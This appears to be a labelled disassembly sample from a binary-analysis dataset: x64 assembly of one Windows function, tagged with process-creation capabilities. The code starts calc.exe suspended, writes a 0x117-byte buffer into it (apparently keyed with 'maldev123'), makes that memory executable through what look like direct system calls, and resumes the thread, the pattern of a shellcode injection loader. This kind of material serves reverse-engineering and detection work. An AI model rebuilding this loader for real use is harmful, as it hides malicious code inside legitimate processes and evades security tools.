Function at 0x140001000
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x40]
sub rsp, 0x140
xorps xmm0, xmm0
lea rcx, [rbp - 0x80]
xor esi, esi
xor eax, eax
mov qword [rbp - 0x80], rsi
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x38], rax
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
call fcn.1400013a0
movsd xmm0, qword [str.maldev123]
lea r8d, [rsi + 0xa]
movzx eax, word [0x1400020e0]
lea rdx, [0x1400030b0]
movsd xmm1, qword [0x140003010]
lea rcx, [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
mov r9d, 0x117
movups xmm0, xmmword [section..data]
mov word [rsp + 0x58], ax
mov eax, dword [0x140003018]
movaps xmmword [0x1400030b0], xmm0
movups xmm0, xmmword [0x140002038]
mov dword [0x1400030c8], eax
mov eax, dword [0x140002050]
movups xmmword [0x1400030cc], xmm0
mov dword [0x1400030e4], eax
movsd xmm0, qword [0x140002048]
mov eax, dword [0x140003038]
movsd qword [0x1400030dc], xmm0
movups xmm0, xmmword [0x140003020]
mov dword [0x140003100], eax
mov eax, dword [0x140002070]
movups xmmword [0x1400030e8], xmm0
mov dword [0x14000311c], eax
movups xmm0, xmmword [0x140002058]
mov eax, dword [0x140003058]
mov dword [0x140003138], eax
mov eax, dword [0x140002090]
movups xmmword [0x140003104], xmm0
mov dword [0x140003154], eax
movsd xmm0, qword [0x140002068]
mov eax, dword [0x140003078]
movsd qword [0x140003114], xmm0
movups xmm0, xmmword [0x140003040]
mov dword [0x140003170], eax
mov eax, dword [0x1400020b0]
movaps xmmword [0x140003120], xmm0
movups xmm0, xmmword [0x140002078]
mov dword [0x14000318c], eax
mov eax, dword [0x140003098]
movups xmmword [0x14000313c], xmm0
mov dword [0x1400031a8], eax
movsd xmm0, qword [0x140002088]
movzx eax, word [0x1400020d0]
movsd qword [0x14000314c], xmm0
movups xmm0, xmmword [0x140003060]
mov word [0x1400031c4], ax
movzx eax, byte [0x1400020d2]
movups xmmword [0x140003158], xmm0
mov byte [0x1400031c6], al
movups xmm0, xmmword [0x140002098]
movsd qword [0x1400030c0], xmm1
movsd xmm1, qword [0x140003030]
movups xmmword [0x140003174], xmm0
movsd xmm0, qword [0x1400020a8]
movsd qword [0x140003184], xmm0
movups xmm0, xmmword [0x140003080]
movsd qword [0x1400030f8], xmm1
movsd xmm1, qword [0x140003050]
movaps xmmword [0x140003190], xmm0
movups xmm0, xmmword [0x1400020b8]
movsd qword [0x140003130], xmm1
movsd xmm1, qword [0x140003070]
movups xmmword [0x1400031ac], xmm0
movsd xmm0, qword [0x1400020c8]
movsd qword [0x140003168], xmm1
movsd xmm1, qword [0x140003090]
movsd qword [0x1400031bc], xmm0
movsd qword [0x1400031a0], xmm1
call fcn.140001680
test eax, eax
je 0x14000137e
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x68
xor eax, eax
lea rdx, str.C:WindowsSystem32calc.exe
mov dword [rbp + 0x34], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000137e
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
cmp dword [rsp + 0x70], esi
je 0x14000137e
test rbx, rbx
je 0x14000137e
test rdi, rdi
je 0x14000137e
mov ecx, dword [rbp - 0x78]
mov qword [rbp + 0x70], 0x117
mov qword [rbp + 0x68], rsi
mov dword [rbp + 0x60], esi
call fcn.1400016e0
lea r9, [rbp + 0x70]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x68]
mov rcx, rbx
call fcn.1400016f1
cmp qword [rbp + 0x68], rsi
je 0x14000137e
mov ecx, dword [rbp - 0x68]
call fcn.1400016e0
mov r9, qword [rbp + 0x70]
lea r8, [0x1400030b0]
mov rdx, qword [rbp + 0x68]
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call fcn.1400016f1
mov ecx, dword [rbp - 0x58]
call fcn.1400016e0
lea rax, [rbp + 0x60]
mov rcx, rbx
lea r9d, [rsi + 0x40]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x68]
call fcn.1400016f1
mov ecx, dword [rbp - 0x48]
call fcn.1400016e0
mov rdx, qword [rbp + 0x68]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call fcn.1400016f1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
jmp 0x140001383
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x178]
add rsp, 0x140
pop rdi
pop rsi
pop rbp
ret